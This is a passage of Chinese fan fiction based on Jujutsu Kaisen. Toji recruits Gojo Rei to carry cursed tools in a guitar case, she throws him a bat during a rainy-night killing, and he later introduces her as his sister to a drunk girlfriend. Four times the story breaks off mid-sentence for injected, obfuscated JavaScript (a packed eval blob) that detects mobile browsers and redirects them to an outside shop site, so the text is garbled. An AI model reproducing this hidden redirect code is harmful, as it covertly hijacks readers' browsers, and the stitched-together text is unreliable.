“一般人也很难和您比身高呀……所以我真的帮不上忙吗?”五条怜不想表现得可怜巴巴的,可声音里还是充满了沮丧,“真的一点点都没办法让您变得更轻松吗?” “一点点啊?这个嘛——” 可能是被她激发了灵感,也可能是直到现在甚尔才开始认真思索让她正经来帮忙的这回事,他摸着下巴沉声琢磨起来。 “非要说的话,可能有那么一点。”这是他苦思冥想了好一会儿才想到的,“你说过自己的眼神还不错,对吧?” “对。” “上次隔着好远都能打中叶子,是吧?” 她用力点头:“是。” “那也能把咒具送到我的手上。” 不是疑问句,而是肯定句——甚尔得出了这样的结论。 五条怜没怎么听明白:“您的意思是?” “就是我说的意思。”他没有给出什么直白的解释,自顾自继续说下去了,“带着咒具出门确实太麻烦了,又沉又容易引人注目,既然你想帮忙的话,就帮我扛着这些咒具吧。” “哦……”她要变成移动咒具携带箱了,“所以,我要紧紧跟在您的身边,在您需要的时候把咒具交给您,是这样吗?” “别黏在我的身边,否则我又要照顾你了。” “是吗……” 又变得不懂他的意思了。 显然甚尔也察觉到她的愚钝了——但更可能是他自己词不达意。他挠挠头,把想法重新复述了一遍。 “你可以待在离我远点的地方,只要远远地把咒具丢到我手里就行了。”他坐下来了,“不是什么很难的事情吧?” “是不难啦……”五条怜还站在原地,为难地歪着脑袋,“但要是,唔,我丢歪了怎么办?” 甚尔夹寿司的动作停住了:“丢歪?” “比如说,视线歪了一下,不小心把咒具丢到您脑袋上之类的。” 她凑到甚尔旁边,一脸诚恳,眼神还有点莫名的慌乱。 “我以前有次练习射箭的时候,就因为不小心挪动了视线,把箭射到了一只小鸟的身上……”结果当然是杀死了这只鸟,但她不知道该不该把这事说出来,只好说,“我不想害您也受伤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507518|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 停在半空的筷子直直地落了下去,戳中军舰寿司。甚尔“哦”了一声,并不很在意这种事。 “我不可能被小屁孩弄伤。”他说,“你要是乐意帮忙,那就按照我说的做吧。不想帮忙也没事,替我买好晚饭就行了。” 甚尔还是很大度的,无论是或否,他都无所谓。但在五条怜看来,显然只有一个选项而已。 “我想帮忙!请让我帮忙吧!” 尽管弯弯绕绕,最后总算还是达成了一致。把寿司盒吃空,接下来就该想想明天该怎么办了。 具体的工作内容,甚尔当然是不会告诉一个小屁孩的。五条怜也深谙万能小助手的职责,绝没有多问半句,只跟着他走进卧室里,挑选趁手且她也能搬运的咒具。 挪开席梦思床垫。床下的收纳空间里放着早已收起的冬日厚被子,还有一堆咒具。 没错,甚尔把充满诅咒的武器放在了床底下,每晚都压在上头睡觉。五条怜真没见过什么人能做出这种事情。 在五条家,咒具都统一存放在了仓库里,每一件都标着序号,全都被定义为“五条家的财产”。 不过,以前五条悟带她去过另一个陈旧的小仓库,那里摆着更加陈旧、早已不再用于实战的腐朽咒具,还有一柄叫做天沼矛的长矛——当然了,并不是传说故事中的神秘武器。 对于那个小仓库,她其实记得的也不多了,只知道整个仓库里满是灰尘的味道。实话实说,可不是什么适合小朋友玩耍的地方。 “喂。”甚尔冲她打了个响指,“发呆了?” 哎呀,确实发呆了。 五条怜甩甩脑袋,赶紧让自己清醒起来,顺便为甚尔的疑问给出一个嘴硬的回答。 “呶,拿好了。”他递来一把长刀,“拿得动吗?” “呃——拿、拿得动!” 虽然手腕被沉重的厚钢压得根本动弹不了,但至少她成功端住了这把比她手臂更长的大砍刀! “拿得动就好。” 甚尔重新窝进床下,继续翻找,摸出了两把小刀、一团锁链、还有一根棒球棍。 “这也是咒具哟。”发现她满眼好奇地盯着棒球棍,甚尔说到,“是只要挥棒就一定能够击中目标对象的百分百全垒打作弊器。” “哦——”五条怜了然般点点头。 听起来真厉害,感觉是很现代化的咒具呢。就是重量可以再减少一点点就好了——真的,只要减少一点点就足够了哟! 捧着好几把咒具,她的手已经开始不争气地抖起来了,把这些锋利的铁块碰撞出咔嗒咔哒的轻响。甚尔本来还想再多带点咒具的,回头一看她那副咬紧牙关努力忍耐的模样,便作罢了。 “那个……甚尔先生。” 咔嗒咔哒咔嗒咔哒——声音更响了。 “明天我要怎么搬运咒具呢,像这样捧着就好吗?唔……会不会被当做恐怖分子?” 甚尔点头:“会的。” 所以他才不常把大型的咒具带在身边。 但这不是个难以解决的问题。 想了想,甚尔向她招招手。 “我们出门吧。”他说。 22.撒点小谎 上回和甚尔一起出门……好像还是上回有工作的时候吧? 走在傍晚的街头,五条怜漫无目的地这么想着。 上回是为了工作,这回也是为了工作。只用“工作”这一点小事就能把两人的时间维系起来,倒也算是好事一桩呢。 “走快点。”甚尔没有放慢脚步,只冲她招招手,催促着,“跟丢了我可不管你。” 五条怜赶紧收起乱七八糟的念头,朝他跑过去:“来了来了!我们要找到能装下并携带您那些咒具的包,对吧?” “对。” 听起来,这似乎是和购物一样轻松愉快的差事,现实情况却和“轻松”还有“愉快”全都不沾边,大概是因为陪同的对象是甚尔吧。 在这个晚上,他们先是在高岛屋转了一圈。这里倒是有卖容量巨大的旅行背包,恰是那种外国背包客的同款,尺寸正好能容纳下那把长长的大刀。但看了眼价格,甚尔立刻就罢休了。 只为了装咒具就买一个这么贵的包,太不值了。——本人是这么说的。 再逛逛看看,其实行李箱也很适合搬运,而且同样有着完美的尺寸,不过依旧没得到甚尔的首肯。 “你不觉得一个小孩拖着行李箱走在路上很怪吗?”他努了努嘴,“看起来就像是离家出走了一样。要是被多事的路人看到了,说不定还会报警。况且你身上已经充满了那种‘离家出走’的氛围了。” 五条怜茫然地眨眨眼:“是嘛……?” 离家出走的氛围是一种什么氛围?她一点都没有概念。 不过她确实是离家出走了没错,有点类似的气质,也没什么好奇怪的啦! 在高岛屋一无所获,还是两手空空地继续在街上搜寻吧。 路边卖唱的街头艺正在人唱着一首老气的歌,五条怜忍不住侧目,盯了一会儿才想起自己正在做正经事呢,可不能分心在无聊的娱乐之上。匆忙收回目光,恰好瞥见到了街对侧巨大的广告牌,穿着精致polo衫的男模特挥动高尔夫球杆,扬起自信的笑容,从头到脚都透着优雅。 高尔夫球杆……好像也和那把大刀咒具差不多长。 五条怜在心里想象着高尔夫球杆在现实里的模样,不经意停住了脚步。她赶紧轻轻拽着甚尔的衣袖,一指广告牌旁的高尔夫用品专卖店给他看。 “装高尔夫球杆的背包,说不定也能派上用场!”她迫不及待说。 甚尔只抬眸瞄了一眼,立刻打消了她兴致冲冲的期待:“小屁孩背着高尔夫球杆包,太怪了,会更容易让路人起疑心的。” “唔……” 好像真是这样没错?高尔夫实在不是什么适合未成年小孩的运动。 五条怜噤声了,毕竟她实在反驳不了他。可她多少还有点疑惑在心中:“要是照您说的,作为小屁孩的我,岂不是背什么又高又大的东西走在街上都会显得很奇怪?” “嗯……说不定……”甚尔好像没办法反驳,片刻后却一转话锋,“但话也不是这么说的。” 他指了指街角的那家小店,橱窗里的吉他与架子鼓在温暖的橙黄色灯光下闪闪发光。 “小孩子背吉他包,这很正常吧?”甚尔得意地扬着嘴角,“走了,去买吉他。” “诶。”她的表情僵了僵,“真进去呀?” 她还从来没有步入过乐器店这种地方呢,总感觉有点可怕…… 甚尔完全不理解她在缩手缩脚些什么,说实话也不打算多体谅他,甩甩手丢下一句“那你在这儿等着吧”,便踏上斑马线了。 行至半道,小尾巴又粘了上来——她还是跟过来了。 走进陌生的店铺,松散的木地板被踩得嘎吱嘎吱作响,简直快要与五条怜的心跳同频了。她四下望望,在温暖的橙黄色灯光下探头探脑。 店里正播放着大概是摇滚乐的背景音乐,硬核又热闹。看起来像是店主的年轻男人坐在柜台后面,正打理着一把贝斯,听到有顾客上门也没抬一下脑袋,这番做派也很摇滚。要不是甚尔故意咳了一声,他大概还沉浸在自己的摇滚小世界里。 “欢迎光临!” 店主飞快地放下贝斯,笑脸盈盈的市侩模样让他变得一点都不摇滚了。 “两位请随意看!有什么想要的吗?我可以给两位推荐一下哟。” “是这样的,我家的妹妹,”甚尔把探头探脑好似小老鼠的五条怜拽到柜台边,“她说想要学吉他。有没有什么适合初学者的推荐吗?” “嗯?嗯……嗯!” 五条怜绷着身,艰难地点了点头,勉强承认了自己就是那个想学吉他的妹妹。 店主一下子来劲了,一叠声点头应着好,带她来到挂满吉他货架前。 “你喜欢什么类型的音乐?”他看起来果然兴冲冲。 “呃……摇滚?”说实在的,她只知道这个音乐类型了,“以前看过摇滚乐队的演出,所以就……喜欢上了。” 为了让自己看起来当真像是摇滚乐迷,她还多嘴添上了这么一句。但就算没有这后半句话,也足够为店主的热情之火添上一把柴了。当代小孩对摇滚居然充满热爱,他激动到当场弹起了空气吉他——真是太摇滚了。 弹完空气吉他,就该弹弹正常的吉他了。 他拿出了几把尺寸小一些的吉他,挨个扫了一遍,用乐声作为最好的介绍,可惜目标顾客五条怜一点都没听出来区别。 “来,弹一弹吧!”店主热情地把吉他往她怀里推,“乐器这东西,只有真正上手了,才知道适不适合自己!” 热情难以拒绝,硕大的木吉他就这么被挂在了自己的身上。 余光能瞥见到甚尔无聊地靠在墙角,盯着天花板的表情显然已经神游天外了。自己也该赶紧把热情店主应付过去才行了。她随意地扫了扫弦,螺纹的钢线蹭得她的指尖发颤。根本用不着再思索了,她立刻说,要买这把吉他。 结完账后,五条怜发现了一个坏消息,还有一个好消息。 坏消息是,这把吉他不是一把便宜货,甚至算得上有点昂贵。 值得庆幸的是,甚尔好像不介意多花点钱,虽然一到家他就把漂亮的木色吉他丢进角落里去了,只留下吉他包,把咒具一股脑塞进了里头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517541|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 买椟还珠,新时代的买椟还珠。 既然只需要一个容器,干脆直接买个吉他包得了,为什么非要买吉他呢?多划不来呀。 五条怜暗戳戳想着,没好意思把话说出口——能有一把吉他,其实她挺高兴的。 那么,就背上吉他包吧。是时候工作了。 不知道是甚尔乐于挑选糟糕的天气,还是天公一点都不打算同他们交好,从深夜下起的雨淅淅沥沥,为城市笼罩上一层绵密的白色水雾,直到隔日的夜间都没有停歇。 五条怜套上了防水的冲锋衣(衣服的主人当然是甚尔),用宽大的风帽遮住脑袋,低着头,跟他一起走在人行道上,谁都没有撑伞。 雨水落在宽大的冲锋衣上,啪嗒啪嗒的噪声实在恼人,背后的吉他包也沉。她觉得自己好像一个流浪音乐家。 抖掉帽子上的水滴,她眯起眼,看着甚尔的背影。 他只穿了一件黑色的毛衣,此刻完全把打湿了,发丝也湿淋淋地贴在头皮上,看着都觉得难受,但他似乎毫无感觉。说不定他就是不喜欢撑伞。 不知道以前从哪里听说过,大概率是五条悟告诉她的。他说,雨天总是不撑伞,未来会秃头。于是她总忍不住想,是不是应该和甚尔提一下秃头的风险,可惜她没有直言的勇气。 再说了。 她在心里这么想着,又抬眸看了看他浓密的黑发。 甚尔先生的头发又多又乱,绝不会被小小雨水轻易地浇灭生机。 这么想着,她顿时就安心了。雨天秃头的担忧也被收回心里,更加不会轻易地说出口了。 走到人流量激增的十字路口,他们就该分开了。她朝着南侧的大楼走去,而甚尔的目标在再过一条街的美术馆。分别时,他都没有多叮嘱一句,说不定是对她很放心?反正五条怜本人愿意将这份沉默当作是他的信任。 把衣服上的雨水统统抖落了,她才拐进大楼。 此处的顶层有着能够俯瞰城市一角的展望台,而且还是免费参观,都不需要在售票处耽误时间,直接登上直达顶楼的电梯即可。但观景台也不是她的终点。 找准时机,等待清洁工的背影消失在员工专用通道后方的瞬间,她也从门缝里钻了进去,屏住呼吸,存在感彻底消失在了未开灯的昏暗通道之间,只剩下心脏扑通扑通跳个不停,耳边都快响起那部有名的间谍电影的主题曲了——就是噔噔噔噔的那一首。 赶紧先把大脑中的播放器掐断,继续屏住呼吸,在无人注意的角落里等待,直到周遭的声音全都消失无踪了,她才探头探脑地出来。 不得不说,这副模样果然很像是小老鼠。 偷偷摸摸地沿着通道继续前进,两层是仓库与员工的休息室,五条怜很顺利在休息室的沙发底下里摸到了一张门卡。一路走到尽头,刷开白色的小门,再经过一段短短的走廊。推开门,户外的风猛地吹入,几乎要把她掀翻。她的腿不争气地抖得厉害,要是再不冷静下来,她可就要倒霉了。 暴露在建筑物外的风中,百米之高的外侧维护通道,此刻就在她的脚下。 23.高空投掷 说是“通道”,实际上五条怜的脚下并不那么像是一条稳固的步道。 这段步道可供行走的部分只有一人多宽,斜斜背着的吉他包碰撞在一侧的护栏上,把坚硬的钢条砸得框框作响。脚下铺着镂空网格状的钢板,完全能够看到下方的城市灯火。 忘记戴上风帽了,雨水毫不留情地砸到脑袋上,她的双手正紧紧抓着两侧的栏杆,根本腾不出手来戴帽子。况且高空的风如此强劲,说不定风帽只能挡住一秒钟的雨水,而后就会被吹飞。 五条怜眯起眼,脸颊被吹得有点发麻。她慢慢挪动脚步,一点一点往前走。 害怕吗?好像有点。因为她的腿正在很不争气地发抖,一时都不知道颤动不止的护栏是因为她实在抖得太厉害,还是被吉他包砸出来的动静了。 但说不定,她一点都不怕。她完全没想过通道断裂的可能性,就算是想到了也不觉得多心悸。尽管走得很慢,但的每一步都很稳健。 再往前走三步……可以了。 从这个角度望过去,城市尽收眼底,一切动向如此清晰。美术馆变了成渺小的乐高零件,进进出出的参观者则是比零件更小的存在。她能够看到甚尔。 就是现在,他从美术馆的三层跳了下来,远远的,似乎还能听到落地时的“咚”一声——当然了,这肯定是错觉。 前方有一个逃窜的男人,频频回头的慌乱模样简直像是在告诉周遭的所有人,自己正在被追杀。 踏破街灯投在水泥地面的湿漉灯光,他们跑进了美术馆后方的小巷,倏地消失了踪迹。五条怜也匆忙往前跑。稍稍变换角度,焦急的小人追逐再度出现在眼前。 距离拉远,美术馆被他们抛在了身后。五条怜把淋湿的发丝统统捋到脑后,把整个身子都靠在了护栏上,努力往外探身。 选择瞭望台作为监视地点,确实是个不错的选择。所有一切尽收眼底,全都一目了然。她能看到甚尔抬起了手,这是他索要武器的信号。 真正派上用场的时刻到来了! 五条怜飞快地打开包,然后在“我该把哪件咒具丢过去”这个问题上纠结了一秒钟。 同样的问题,昨晚她也有问过了。 本着越多越好的原则,甚尔往吉他包里塞满了七八件咒具,大小形态各有不同,说不定功能也很不一样。但到底哪把咒具能派上哪样的用场,五条怜毫无头绪。 “那你就挑一把看得顺眼的武器丢给我就行,我无所谓。反正我全都能用得趁手。”甚尔本人倒是给出了很随性的回答,“决定权交给你。” 挑一把看得顺眼的……总觉得每一把看起来都很靠谱很有用,根本选不出来! 五条怜飞快地抹去额角淌下的雨水(也很有可能是紧张的冷汗),在短暂的一秒钟内想了很多,可惜没有一点是能派上用场的。她索性放弃了思考,在夜色中随手抓起一把咒具,恰好拿到了百分百全垒打作弊器——看起来很要命实际上也很要命的棒球棍。 这肯定是个不错的选择,对吧? 手握大杀器,她好像能安心一点了,匆忙起身。眼前,城市的踪迹却消失在了一团浅白色的云中。 不,不是消失,而是被盖住了。而眼前的云,也并非是真正的云朵。 笼罩在视野之间的,是如同云团般的一层氤氲,恰巧在她纠结的那一秒钟悠悠飘来,以浅白色的姿态蒙住了她脚下的一切。现在不需要再犹豫或是纠结了,五条怜已经意识到大事不妙了。 都看不到甚尔的踪影了,还怎么把咒具丢给他呀! 盲投?不行不行,她可没有蒙住眼睛也能精准命中的自信,这么做的成功率绝对比百分之一更加低。 要是砸中甚尔的脑袋,这都算是好的了,只有天知道在剩下百分之九十九的可能性中,棒球棍会飞到什么地方去! 那么就,等待云雾散开? 更离谱了,这简直比盲投还要不可靠。 雨一点没停,风也在推着这团氤氲不停向前,连绵着仿佛不存在尽头。等到氤氲散开,甚尔保不齐都要被按在地上打了! 正把目标对象按在地上狂揍的禅院甚尔猛打了个喷嚏,险些露出短暂一瞬的破绽。他猜有人在惦记着他的不好,并且这个人很有可能是没有好好工作害他现在只能赤手空拳上阵的某位姓氏里有数字的家伙。 要是再不把咒具送过来,他就要扣掉她这回的零花钱了。 对于零花钱大危机,五条怜一无所知。说真的,她现在要面对的事情可比小小的零花钱麻烦多了。 一时半会儿无法散开的雾气,盲投低到不及百分之一的成功率……怎么选都像是跳进了地狱! 现在还在思考吗?大概没有。 因为她已经迈出了步伐。 奔跑在通道上,有孔的钢板地面被踩得咚咚响,发出危险的颤动。倘若一脚踩空,那可就倒霉了。 五条怜无暇顾及最糟糕的可能性是否会落在自己的身上。她只想赶紧脱离这层雾霭的笼罩。 厚厚的一层氤氲,像是包裹住了整个展望台,无论跑得多远,从任何角度望过去,都只有白茫茫的一片。想必展望台里的游客们也发出了失落的叹气声,但绝不会有人比她更失落了。 通道行至尽头,没有再继续前进的道路了。倏地停住的脚步害得五条怜的心脏也随之抽搐了一下。 当真要无计可施了吗? 不,大概不是……一定不是。 前方几米远,吊篮挂在高空之上——本意事用来清洁高楼玻璃的吊篮,但在间谍电影里总会会摇身一变,成为特工主角在高空行动的工具。 好像没有思考,说不定也用不着思考了。回过神时,五条怜已经后退了好几步,为冲刺预留出了足够多的距离。 然后,就该往前冲了。 穿破风和雨,借着惯性一下跳上通道尽头的护栏,再乘势向前扑过去吧。 有那么几秒钟,她切实地停留在了半空中,没有任何支撑,只有风托着她,急速跳动心脏被失重感拉扯着向上飘,直到“咚”地跳进了吊篮里,这颗心才轰然落地。一下子沉到腹腔的最深处。说真的,她差点吐出来了。 吱呀吱呀。预期之外的访客压得吊篮左右摇晃,支撑在两侧的缆绳也动荡不止。这儿实在不是什么安稳的场所。 五条怜已经没空等待吊篮稳定下来了,伸手便去摸操控面板。 依然有一个好消息与坏消息。 好消息是,操控面板简明扼要,她一下子就找到了下降的按钮。可下降速度实在太慢,缆绳绞动的声响也像是在拧着生锈的金属。 唉……就不能快一点吗?五条怜没耐心地锤着下降按钮。 只捶了区区三下,她的心愿就实现了——吊篮失去了控制,以接近重力加速度迅速下落,穿过恼人的那片氤氲,城市的街景再度清晰地出现在眼前。 就是现在了。 五条怜努力压住尖叫声,只注视着甚尔的身影,用力掷出咒具。 长弧形的棒球棍并不是为了投掷而诞生的,但在一点点咒力的加持下,那圆润的流线型足以乘着风飞到数百米之外,砸碎不计其数的雨滴,来到甚尔的手中。 武器来的稍稍晚了一点,不过时机还算可以。 甚尔挥下棒球棍,一次又一次。雨天湿漉漉的地面淋上一层鲜艳的水泽——工作该结束了。 把目标对象推进河里,运气好的话明天早上就会被人发现了,当然更有可能在此之前就被委托人捞走收尸了,毕竟他已经给委托人汇报完了工作进度,由对方负责后续的收尾工作好像也是合情合理。 顺便再给小老鼠发个短信,让她过来同自己会合。今天的工作结束得意外顺利,从现在就可以开始思考晚上该吃什么了。 从烤肉想到了汉堡薯条,又从回转寿司琢磨到了更高级的西餐,当甚尔的思绪在怀石料理的滋味上跳跃时,苍白着脸如游魂一样的五条怜终于飘过来了。看到满是血迹还沾了一点人体组织的棒球棍,她的脸色瞬间变得铁青,捂着嘴躲到一边去了。 在路边吐了整整三分钟,她才缓过来。 甚尔斜眼睨着她:“怎么,被吓到了?” 真是个胆小鬼。 “不是的……”五条怜依然佝偻着身子,明明泡在雨里,整个人看起来却像是要脱水了,“只是经历了,呃,一场可怕的高空冒险。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534186|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晓得她是怎么从高速坠落的吊篮里下来的,说真的她已经不想回忆这段过分刺激的经历了。 甚尔轻哼一声,勉强没有把她的说辞当作是嘴硬的谎言,但还是忍不住嘀咕:“你动作太慢了。” “对不起。因为今天下雨了。” “好吧。” 下雨天确实是很麻烦,这一点没办法否认。 把棒球棍塞回到吉他包里,甚尔摸出钱包,抽出几张钞票给她,五条怜毕恭毕敬地双手接过。 “是这次的零花钱吗?”千万不能忘记提前确认一下,以免会错意。 甚尔点头:“我不是什么抠门的家伙,也不会压榨童工。” 说着,他拍了拍五条怜的脑袋,咚咚的响声好清亮——这下就有点像是在“压榨”了。 “要是钱不够花的话就和我说吧。”走过十字路口时,他说,“最近用不着担心钱的事情了。” 五条怜不可思议地抬起头。 说实在的,拔电话线躲债的记忆在她脑海中还栩栩如生地存在着,过分简朴的照烧汁拌乌冬面的滋味也还霸道地停留在舌尖上,那段短暂的贫穷记忆鲜明得就像是昨天一样,现在却不需要再担心了? 她好像问问为什么,可惜询问的话语不知道该怎么说出口,最后也只是点了点头。 “我明白了。”她乖乖地应声,“我应该不会缺钱。您上次给我的零花钱,我还没用过呢。” 那几张万元大钞正原封不动地塞在沙发坐垫下方,不知道哪天才能重见天日。 “一点都没用?”甚尔有点惊讶,“要不然去买点漂亮衣服。” 真没想到他会这么说,五条怜愣了愣,匆忙摇头:“我其实对漂亮衣服不感兴趣。” “那你努力培养一下这方面的兴趣?” 他甩甩脑袋,抖落一堆水滴,斜睨着的目光停留在她穿着的冲锋衣上,看了好几眼。 “你老是穿我的衣服,害得我都没衣服可穿了。”他叽咕着说。 “……好。” 原来不是关心她,而是关心自己呀。 什么受宠若惊的情绪,一下子全都飞走了。五条怜认真地点点头,暗自发誓明天就去优衣库看看。 明天的事情暂且等到明天再说,眼下比较紧急的事情,大概是晚饭吃什么。 甚尔想了一大堆,却没能总结出切实的决定。问问五条怜,她也只会说出“我随意”这种毫无价值的回答。路过的各家餐厅看起来也有些过分热闹,想来想去,不如回家点外卖了。 如此一来,还能将思考时间拉长一点呢,简直一举两得。 快走到家时,雨终于停了。 五条怜摘下风帽,远远的就看到了停在路边的红色跑车。她好像记得,这个位置是不允许停车的。不过她好像也没什么立场去指责别人就是了。 一个女人站在车旁,漂亮的长卷发随着身体一起微微地左右晃悠着。五条怜猜她喝醉了,这副姿态一看就是醉鬼才会有的样子。 “哎。”甚尔拉着她的手臂,强硬地拐了个弯,“换条路走。” “哦……” 完全搞不懂他的心思,不过她还是跟上去了。 恰是在转身的瞬间,跑车旁的女人也注意到他们了。她左摇右晃地跑过来,高跟鞋提在手里,一下子扑进了甚尔的怀中。 “甚尔!”果然说起话来也是醉醺醺的,“突然好想你哦,就跑过来见你了,算是给你个惊喜……但我只知道你住在这附近,不知道你家到底在哪里,所以只好在这里等你咯。还好还好,才等了五分钟就见到你了。我运气是不是超好!” “嗯,超级好运。你喝酒了?” “和朋友去了牛郎店,所以稍微喝了一点。”她合起手指,吐摸着亮蓝色闪粉的眼睛也眯拢了,“只喝了这么一——点点哦?” “诶?那你很厉害嘛。” 看着甚尔格外温柔地轻拍着女人的后背,他说话的语调似乎也变得稍稍轻浮了些,在浓重的酒气中,能嗅到一股陌生却熟悉的甜腻香气……哎呀。 五条怜眨了眨眼。 她开窍了。 她想,甚尔先生一定是恋爱了。 24.疑似恋爱 “恋爱”,这个概念一跳进五条怜的小脑瓜里,她瞬间觉得什么谜题都能解开了——包括但不限于甚尔经常性的神出鬼没,还有他身上散发着的香水气味。 甚至连昨天吃的那盒贵贵的松套餐寿司也变得有迹可循,说不定正是来自恋爱对象的礼物。 对于小屁孩的自己来说,恋爱是一件多少有些遥远的事情,但感谢这些年热播的电视剧,她已经对恋爱这回事多少有点感知了,也很快就意识到了在黏黏糊糊的两人面前,自己是个相当不合适的存在。她很识趣地后退了几步,打算从这个场合中赶紧溜走。 “咦——?” 靠在甚尔肩上的女人歪过脑袋,向她投来了视线。她们的视线切实地交汇了几秒钟,看得五条怜莫名紧张。 好嘛,逃脱计划彻底失败了。 “甚尔,这孩子是谁呀?” 现在继续逃窜还来得及吗? 就在五条怜琢磨这件事的可行性时,一只手搭在了她的肩上,啪一下拍得好响,简直要把她压扁了。抬头,才发现甚尔已经观赏了一副前所未有的笑眯眯模样,温柔到不知道该怎么形容才好了。 “这位啊,嘛,是我妹妹。” ……啊? 甚尔把谎话说得脸不红心不跳,大概是因为同样的骗人说辞,他昨晚已经在乐器店说过一次了,可五条怜实在适应不了这么别扭且尴尬的谎话。一听到“妹妹”这个词,她都觉得有小虫子在身上爬,诡异且无形的麻木感让她觉得好不自在。 “过来。”他硬是把变成了木偶的阿怜拽到身边,“别害羞,快和夏梨打招呼。” “呃呃呃……”想逃,她干脆变成一只老鼠算了,用吱吱的叫声挤出一句,“您好,夏梨……姐姐。” “哦你好你好。你好乖呢。” 夏梨伸手去摸她的脸,掌心暖呼呼的,带着一点巧克力的味道。 “你叫什么名字来着?” “五——” 话说出口,五条怜感觉到不对劲了,匆忙瞄了甚尔一眼。果不其然,他已经换上了一副类似能面面具的表情,瞪着眼朝她努了努嘴,就差没把暗示的意味直接写在脸上了。 ……没办法了! “——禅、禅院怜。”她艰难改口,“我叫禅院怜。” 啊啊,真是太罪恶了。 罪恶感堵住了五条怜的嘴,现在她连多余的半句话都说不出来了。 众所周知的事实是,她打心底不喜欢五条家,连带着对于“五条”这个姓氏都有一种爱屋及乌的怨恨感。她确实也大逆不道地考虑过有朝一日更名改姓的可能性,可实在没料到,这种关顾尊严与过去的大事居然要在如此尴尬的场合下实现,感觉五条悟都要提着橡皮锤赶过来敲她脑袋了——可能性微乎其微,毕竟他在任何时刻都没有出现。 “诶,你叫‘怜’呀?好可爱的名字。”夏梨的小动作已经从摸摸脸升级成了搓搓脸,把五条怜的脸颊揉成奇怪的形状,“放春假了,所以来找哥哥玩吗?” “呃,我……” 还沉浸在自己变成了禅院怜的罪恶感里,她的脑袋空空如也,一时不知道该怎么回答才好了,慌忙向甚尔投去求救的目光。他也正焦头烂额着呢,配合地把夏梨拉开了,搭腔道:“这孩子可任性了,学别人离家出走搞得没处可去,暂且被我收留了。” 说着,他还像模像样地叹气摇头,仿佛真是个忧心忡忡的好哥哥,完全没有意识到自己的谎话越编越离谱,也丝毫没把五条怜可怜巴巴皱起的眉头放在心上,只专心地钳制着夏梨,生怕她又搞出什么多余的是非。 不知算不算是值得庆幸的好事,对于甚尔的夸张说辞,夏梨一点儿都没觉得不对劲。 酒精推着她摇来晃去,眼前一大一小两个人影重重叠叠,倏地变成了无数个影子。她费劲地眯起眼,目光也晃悠晃悠,游走在两人之间。 “哎呀哎呀。”她觉得自己得到了一个了不得的发现,“你们兄妹俩长得一点也不像耶!” 气氛绝对在这个瞬间变得僵硬了一点。五条怜的脑袋上已经开始冒出冷汗了,就连甚尔的嘴角也不自觉地抽搐了一下。 “因为我们是……” 该找个什么样的完美理由呢…… 甚尔僵硬地垂眸,发现五条怜也在盯着他。他们飞快地对视了一眼,同时给出了答案。 “是同父异母。” “是表亲兄妹。” 叮叮叮叮,出局啦——默契度零分! 幸好风把此刻的话语吹得很乱,夏梨完全没听清楚,歪着脑袋“啊?”了一声。甚尔和五条怜赶紧调换说辞。 “我说是表亲兄妹。” “其实是同父异母。” 好嘛,又没对上。 甚尔气恼地瞪了五条怜一眼,发现她也正以埋怨的目光盯着自己。他们谁都没觉得是自己有问题,还好夏梨也没听出任何不对劲——因为她还是没听清甚尔和五条怜说些了什么。 在夏梨眼里,她只觉得他们两人说话不同调的样子太好笑了,有趣到她要搂着甚尔的胳膊笑个不停,都没发现高跟鞋从手里滑下去了,只好由甚尔无奈捡起。 姑且算是度过了危机,但要是再接着耗在这里,八成要被询问更多和兄妹关系有关的问题。他朝五条怜使了个眼色,叫她赶紧回家去。五条怜迫不及待,飞快地溜走了。 走得远远的,还能听到夏梨在对甚尔撒娇,说着想要去他家坐坐之类的话。甚尔则是说了些含糊的好听话,完全不给出半点正面回答,当然也没说自己到底住在什么地方。 原来恋爱是这样的呀。 蒙头穿过两栋公寓楼,五条怜暗戳戳地这么想着。在这个距离还能听到后方娇滴滴的动静,她努力忍耐着别回头偷看。 偷看什么的,可太不礼貌了! 一条路走到黑,踏上灯泡早就坏掉的楼道,家里也是一模一样的黑漆漆。她摸索着打开灯,把湿淋淋的吉他包和衣服一起堆在地上,冻得牙齿都在打颤。赶紧套上温暖的毛衣,甚尔那句“害得我都没衣服可穿了”的抱怨在耳边响起。她甩甩脑袋,决心不在意这点无聊小事了。 “还是你最自在了。”她忍不住对着婴儿床嘀咕。 出门时禅院惠就在安睡着,没想到居然一觉睡到了现在,都没有嗷嗷叫着求东西吃,说不定是正在做美梦呢。 “唉… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 